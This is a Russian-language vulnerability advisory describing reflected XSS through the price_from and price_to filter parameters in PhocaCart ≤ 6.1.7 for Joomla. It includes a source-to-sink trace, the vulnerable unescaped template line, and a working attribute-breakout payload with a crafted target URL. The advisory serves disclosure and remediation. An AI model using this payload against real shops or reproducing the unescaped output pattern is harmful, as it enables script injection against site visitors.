
Отражённый XSS через параметры фильтра price_from и price_to в PhocaCart
PhocaCart ≤ 6.1.7 — неаутентифицированный злоумышленник внедряет произвольный JavaScript через специально сформированный URL фильтра цены
PhocaCart 6.1.7 для Joomla уязвим к отражённому межсайтовому скриптингу (XSS) через GET-параметры price_from и price_to, когда модуль mod_phocacart_filter установлен и опубликован. Параметры обрабатываются с помощью входного фильтра Joomla 'string', который применяет только strip_tags() — он не применяет . Необработанные значения напрямую выводятся в HTML-атрибуты в форме фильтра цены, отображаемой модулем .
htmlspecialchars()value=""mod_phocacart_filterЗлоумышленник передаёт жертве специально сформированный URL. Когда жертва загружает страницу, внедрённый обработчик события выполняется в её браузере. Аутентификация не требуется. Для атаки требуется, чтобы модуль mod_phocacart_filter (отдельно распространяемый модуль) был установлен и опубликован.
| КОМПОНЕНТ | УЯЗВИМАЯ | ТЕСТИРОВАЛОСЬ НА | ИСПРАВЛЕНА |
|---|---|---|---|
| PhocaCart (com_phocacart) + mod_phocacart_filter | ≤ 6.1.7 | Joomla 5.4.7 + PhocaCart 6.1.7 + mod_phocacart_filter 6.1.6 | 6.1.8 |
Тип: отражённый XSS (CWE-79)
Требуется аутентификация: нет — публичная витрина магазина
Требуется CSRF-токен: нет (GET-запрос)
Файл стока: site/layouts/form_filter_horizontal_text.php:65,71
Входной фильтр Joomla 'string' вызывает strip_tags() — он удаляет HTML-теги, но оставляет HTML-спецсимволы, такие как ", ' и >, незакодированными. GET-параметры price_from и price_to извлекаются с помощью этого фильтра и сохраняются в $data['getparams']. Файлы шаблонов выводят эти значения напрямую в атрибуты value="" без вызова htmlspecialchars(), что позволяет внедрение в контекст атрибута.
Поток данных — от источника к стоку:
GET ?price_from=" onmouseover="alert(document.domain)
filter.php:831 $app->getInput()->get('price_from', '', 'string')
└─ фильтр Joomla 'string' = только strip_tags()
strip_tags('" onmouseover="alert(1)') → '" onmouseover="alert(1)' [без изменений!]
filter.php:494 $inA[] = $v // без кодирования
└─ $data['getparams'] = ['" onmouseover="alert(document.domain)']
form_filter_horizontal_text.php:65:
└─ <input type="text" value="<?php echo $d['getparams'][0]; ?>" /> // → БЕЗ htmlspecialchars()
→ Отображается: value="" onmouseover="alert(document.domain)"
→ XSS срабатывает при наведении мыши
FORM_FILTER_HORIZONTAL_TEXT.PHP:65 — УЯЗВИМЫЙ СТОК
<input type="text" class="form-control" name="pricefrom"
value="<?php echo $d['getparams'][0]; ?>" <!-- БЕЗ htmlspecialchars() -->
id="phPriceFrom..." />
Аналогичный шаблон стока также существует в form_filter_text.php:81,87 (вариант вертикальной компоновки). Оба параметра price_from и price_to одинаково уязвимы.
Злоумышленник формирует URL, нацеленный на представление товаров магазина, с полезной нагрузкой в виде обработчика события, внедрённой в параметр price_from. Полезная нагрузка выходит за пределы контекста атрибута value="".
Полезная нагрузка (сырая): " autofocus onfocus="alert(document.domain)
URL-кодированная: %22%20autofocus%20onfocus%3D%22alert(document.domain)
Сформированный URL:
http://TARGET/index.php?option=com_phocacart&view=items
&price_from=%22%20autofocus%20onfocus%3D%22alert(document.domain)
Когда жертва открывает сформированный URL, страница товаров магазина отображает форму фильтра цены. Внедрённые атрибуты присутствуют в элементе <input>. С полезной нагрузкой autofocus onfocus JavaScript выполняется немедленно при загрузке страницы без какого-либо дальнейшего взаимодействия с пользователем.
Отображаемый HTML (уязвимый):
<input type="text" class="form-control" name="pricefrom"
value="" autofocus onfocus="alert(document.domain)"
id="phPriceFromTopricefrom" />

XSS срабатывает в браузере жертвы — alert(document.domain) подтверждает контекст выполнения на витрине магазина